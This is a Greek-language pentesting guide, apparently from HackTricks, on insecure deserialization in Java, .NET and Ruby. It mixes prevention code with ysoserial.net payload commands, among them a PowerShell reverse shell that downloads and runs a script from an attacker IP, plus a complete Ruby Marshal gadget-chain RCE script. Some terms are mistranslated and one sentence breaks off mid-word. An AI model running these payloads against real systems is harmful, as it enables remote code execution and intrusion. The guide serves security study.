Η Java χρησιμοποιεί πολλές φορές την αποσειριοποίηση για διάφορους σκοπούς, όπως:

  • HTTP αιτήσεις: Η αποσειριοποίηση χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κλπ.

  • RMI (Remote Method Invocation): Το πρωτόκολλο Java RMI, που βασίζεται αποκλειστικά στην αποσειριοποίηση, είναι θεμέλιος λίθος για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.

  • RMI μέσω HTTP: Αυτή η μέθοδος χρησιμοποιείται συχνά από εφαρμογές Java-based πάχους πελάτη για τον ιστό, χρησιμοποιώντας την αποσειριοποίηση για όλες τις ανταλλαγές αντικειμένων.

  • JMX (Java Management Extensions): Το JMX χρησιμοποιεί την αποσειριοποίηση για τη μετάδοση αντικειμένων μέσω του δικτύου.

  • Πρωτόκολλα προσαρμοσμένα: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, όπως θα επιδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.

Πρόληψη

Αντικείμενα transient

Ένας κλάση που υλοποιεί το Serializable μπορεί να υλοποιήσει ως transient οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν πρέπει να είναι αποσειριοποιήσιμο. Για παράδειγμα:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Αποφυγή Σειριοποίησης μιας κλάσης που χρειάζεται να υλοποιήσει το Serializable

Σε περιπτώσεις όπου ορισμένα αντικείμενα πρέπει να υλοποιήσουν τη διεπαφή Serializable λόγω της ιεραρχίας της κλάσης, υπάρχει ο κίνδυνος ακούσιας αποσειριοποίησης. Για να αποτραπεί αυτό, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα, καθορίζοντας μια final μέθοδο readObject() που πάντα εκτοξεύει μια εξαίρεση, όπως φαίνεται παρακάτω:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Βελτίωση της Ασφάλειας της Αποσυνεργοποίησης στην Java

Η προσαρμογή του java.io.ObjectInputStream είναι μια πρακτική προσέγγιση για την ασφάλεια των διεργασιών αποσυνεργοποίησης. Αυτή η μέθοδος είναι κατάλληλη όταν:

  • Ο κώδικας αποσυνεργοποίησης είναι υπό τον έλεγχό σας.

  • Οι κλάσεις που αναμένονται για την αποσυνεργοποίηση είναι γνωστές.

Αντικαταστήστε τη μέθοδο resolveClass() για να περιορίσετε την αποσυνεργοποίηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυνεργοποίηση οποιασδήποτε κλάσης εκτός από αυτές που έχουν ρητώς επιτραπεί, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυνεργοποίηση μόνο στην κλάση Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Χρήση ενός Java Agent για Ενίσχυση της Ασφάλειας προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για τη μαύρη λίστα επιβλαβών κλάσεων, χρησιμοποιώντας ένα παράμετρο του JVM:

-javaagent:name-of-agent.jar

Παρέχει έναν τρόπο για την ασφάλεια της αποσειριοποίησης δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές κώδικα είναι αδύνατες.

Ελέγξτε ένα παράδειγμα στο rO0 από την Contrast Security

Εφαρμογή Φίλτρων Αποσειριοποίησης: Το Java 9 εισήγαγε φίλτρα αποσειριοποίησης μέσω της διεπαφής ObjectInputFilter, παρέχοντας ένα ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούνται από τα αποσειριοποιημένα αντικείμενα πριν από την αποσειριοποίησή τους. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, προσφέροντας έναν λεπτομερή έλεγχο της διαδικασίας αποσειριοποίησης.

Για να χρησιμοποιήσετε τα φίλτρα αποσειριοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που ισχύει για όλες τις λειτουργίες αποσειριοποίησης ή να το ρυθμίσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Ενισχυμένη Ασφάλεια: Βιβλιοθήκες όπως η NotSoSerial, η jdeserialize και η Kryo προσφέρουν προηγμένες δυνατότητες για τον έλεγχο και την παρακολούθηση της αποσυσκευασίας Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως λίστες επιτρεπόμενων ή αποκλεισμένων κλάσεων, ανάλυση των αποσυσκευασμένων αντικειμένων πριν από την αποσυσκευασία και εφαρμογή προσαρμοσμένων στρατηγικών αποσυσκευασίας.

  • Η NotSoSerial παρεμβαίνει στις διαδικασίες αποσυσκευασίας για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.

  • Η jdeserialize επιτρέπει την ανάλυση των αποσυσκευασμένων αντικειμένων Java χωρίς να τα αποσυσκευάζει, βοηθώντας στον εντοπισμό πιθανά κακόβουλου περιεχομένου.

  • Η Kryo είναι ένα εναλλακτικό πλαίσιο αποσυσκευασίας που τονίζει την ταχύτητα και την αποδοτικότητα, προσφέροντας παραμετροποιήσιμες στρατηγικές αποσυσκευασίας που μπορούν να ενισχύσουν την ασφάλεια.

Αναφορές

JNDI Injection & log4Shell

Βρείτε τι είναι JNDI Injection, πώς να το καταχραστείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell (και παράδειγμα αυτής της ευπάθειας) στην ακόλουθη σελίδα:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Το Java Message Service (JMS) API είναι ένα API μεσολάβησης μηνυμάτων Java για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Το JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και καθορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά που έχει από τότε καθοδηγηθεί από την Java Community Process. Είναι ένα πρότυπο επικοινωνίας που επιτρέπει στα στοιχεία εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβ

Αναγνώριση

WhiteBox

Πρέπει να ελεγχθεί ο πηγαίος κώδικας για τις εμφανίσεις των:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Η έμφαση πρέπει να δοθεί στους αποσειροποιητές που επιτρέπουν τον καθορισμό του τύπου από μια μεταβλητή που ελέγχεται από τον χρήστη.

BlackBox

Η αναζήτηση πρέπει να στοχεύει το κωδικοποιημένο με Base64 συμβολοσειρά AAEAAAD///// ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσειροποίηση στην πλευρά του διακομιστή, παρέχοντας έλεγχο επί του τύπου που θα αποσειροποιηθεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές JSON ή XML που περιέχουν TypeObject ή $type.

ysoserial.net

Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο ysoserial.net για να δημιουργήσετε εκμεταλλεύσεις αποσειροποίησης. Αφού κατεβάσετε το αποθετήριο git, θα πρέπει να μεταγλωττίσετε το εργαλείο χρησιμοποιώντας, για παράδειγμα, το Visual Studio.

Αν θέλετε να μάθετε πώς δημιουργεί τις εκμεταλλεύσεις του το ysoserial.net, μπορείτε να ελέγξετε αυτήν τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Οι κύριες επιλογές του ysoserial.net είναι: --gadget, --formatter, --output και --plugin.

  • --gadget χρησιμοποιείται για να υποδείξει το gadget που θα καταχραστεί (να υποδείξει την κλάση/συνάρτηση που θα καταχραστείται κατά την αποσειροποίηση για την εκτέλεση εντολών).

  • --formatter, χρησιμοποιείται για να υποδείξει τη μέθοδο για την σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιείται από τον πίσω χώρο για την αποσειροποίηση του φορτίου και να χρησιμοποιήσετε την ίδια για τη σειριοποίησή του)

  • --output χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε μορφή ακατέργαστη ή κωδικοποιημένη με Base64. Σημειώστε ότι το ysoserial.net θα κωδικοποιήσει το φορτίο χρησιμοποιώντας τον κωδικοποιητή UTF-16LE (προεπιλεγμένη κωδικοποίηση στα Windows), οπότε αν λάβετε την ακατέργαστη μορφή και την κωδικοποιήσετε από μια κονσόλα Linux, μπορεί να αντιμετωπίσετε προβλήματα συμβατότητας κωδικοποίησης που θα εμποδίσουν την εκμετάλλευση να λειτουργεί σωστά (στο HTB JSON box, το φορτίο λειτούργησε και σε UTF-16LE και ASCII, αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα).

  • --plugin το ysoserial.net υποστηρίζει πρόσθετα για τη δημιουργία εκμεταλλεύσεων για συγκεκριμένα πλαίσια εργασίας, όπως το ViewState

Περισσότερες παράμετροι του ysoserial.net

  • --minify θα παρέχει ένα μικρότερο φορτίο (εάν είναι δυνατόν)

  • --raf -f Json.Net -c "anything" Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν καθορισμένο formatter (Json.Net σε αυτήν την περίπτωση)

  • --sf xml μπορείτε να υποδείξετε ένα gadget (-g) και το ysoserial.net θα αναζητήσει formatters που περιέχουν τη λέξη "xml" (με μη διάκριση πεζών-κεφαλαίων)

Παραδείγματα ysoserial.net για τη δημιουργία εκμεταλλεύσεων:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

Το ysoserial.net έχει επίσης ένα πολύ ενδιαφέρον παράμετρο που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: --test Εάν δηλώσετε αυτήν την παράμετρο, το ysoserial.net θα δοκιμάσει την εκμετάλλευση τοπικά, έτσι ώστε να μπορείτε να ελέγξετε αν η φορτίο σας θα λειτουργήσει σωστά. Αυτή η παράμετρος είναι χρήσιμη επειδή, εάν εξετάσετε τον κώδικα, θα βρείτε τμήματα κώδικα όπως το παρακάτω (από το ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Αυτό σημαίνει ότι για να δοκιμάσετε την εκμετάλλευση, ο κώδικας θα καλέσει τη συνάρτηση serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Στον προηγούμενο κώδικα είναι ευάλωτη η εκμετάλλευση που δημιουργήθηκε. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, αυτό σημαίνει ότι πιθανότατα αυτή η εφαρμογή είναι ευάλωτη επίσης. Επομένως, η παράμετρος --test μας επιτρέπει να κατανοήσουμε ποια τμήματα κώδικα είναι ευάλωτα στην εκμετάλλευση της αποσυνεριακοποίησης που μπορεί να δημιουργήσει το ysoserial.net.

ViewState

Ρίξτε μια ματιά σε αυτήν την ανάρτηση για πώς να δοκιμάσετε να εκμεταλλευτείτε την παράμετρο __ViewState του .Net για να εκτελέσετε αυθαίρετο κώδικα. Αν γνωρίζετε ήδη τα μυστικά που χρησιμοποιεί η μηχανή-θύμα, διαβάστε αυτήν την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα.

Πρόληψη

Για να μειώσετε τους κινδύνους που συνδέονται με την αποσυνεριακοποίηση στο .Net:

  • Αποφύγετε να επιτρέπετε στα ροές δεδομένων να καθορίζουν τους τύπους των αντικειμένων τους. Χρησιμοποιήστε το DataContractSerializer ή το XmlSerializer όταν είναι δυνατόν.

  • Για το JSON.Net, ορίστε το TypeNameHandling σε None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Αποφύγετε τη χρήση του JavaScriptSerializer με έναν JavaScriptTypeResolver.

  • Περιορίστε τους τύπους που μπορούν να αποσυνεριακοποιηθούν, κατανοώντας τους ενδεχόμενους κινδύνους με τους τύπους του .Net, όπως ο System.IO.FileInfo, ο οποίος μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, με δυνητικά αποτελέσματα απόρριψης υπηρεσιών.

  • Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες, όπως ο System.ComponentModel.DataAnnotations.ValidationException με την ιδιότητά του Value, η οποία μπορεί να εκμεταλλευτεί.

  • Ελέγξτε με ασφάλεια την αρχικοποίηση των τύπων για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυνεριακοποίησης, καθιστώντας ακόμη και το DataContractSerializer ή το XmlSerializer ευάλωτα.

  • Εφαρμόστε ελέγχους λευκής λίστας χρησιμοποιώντας έναν προσαρμοσμένο SerializationBinder για τον BinaryFormatter και το JSON.Net.

  • Μείνετε ενημερωμένοι για γνωστά ανασφαλή αντικείμενα αποσυνεριακοποίησης στο .Net και βεβαιωθείτε ότι οι αποσυνεριακοποιητές δεν δημιουργούν αντικείμενα από αυτούς τους τύπους.

  • Απομονώστε τον πιθανά επικίνδυνο κώδικα από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την αποκάλυψη γνωστών αντικειμένων, όπως το System.Windows.Data.ObjectDataProvider σε εφαρμογές WPF, σε μη έμπιστες πηγές δεδομένων.

Αναφορές

Ruby

Στη Ruby, η αποσυνεριακοποίηση διευκολύνεται από δύο μεθόδους εντός της βιβλιοθήκης marshal. Η πρώτη μέθοδος, γνωστή ως dump, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ένα ρεύμα byte. Αυτή η διαδικασία ονομάζεται αποσυνεριακοποίηση. Αντίστροφα, η δεύτερη μέθοδος, load, χρησιμοποιείται για να επαναφέρει ένα ρεύμα byte σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυνεριακοποίηση.

Για την ασφάλεια των αποσυνεριακοποιημένων αντικειμένων, η Ruby χρησιμοποιεί το HMAC (Hash-Based Message Authentication Code), εξασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Ο κλειδίς που χρησιμοποιείται για αυτόν τον σκοπό αποθηκεύεται σε έναν από τους πιθανούς τόπους:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

**Αλυσίδα εκμετάλλευσης για γενική αποσυνεριακοποίηση Ruby 2.X σε RCE (περισσότερες πληροφορίες στο [

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Άλλος τρόπος εκμετάλλευσης της ευπάθειας εκτέλεσης απομακρυσμένου κώδικα (RCE) στο Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated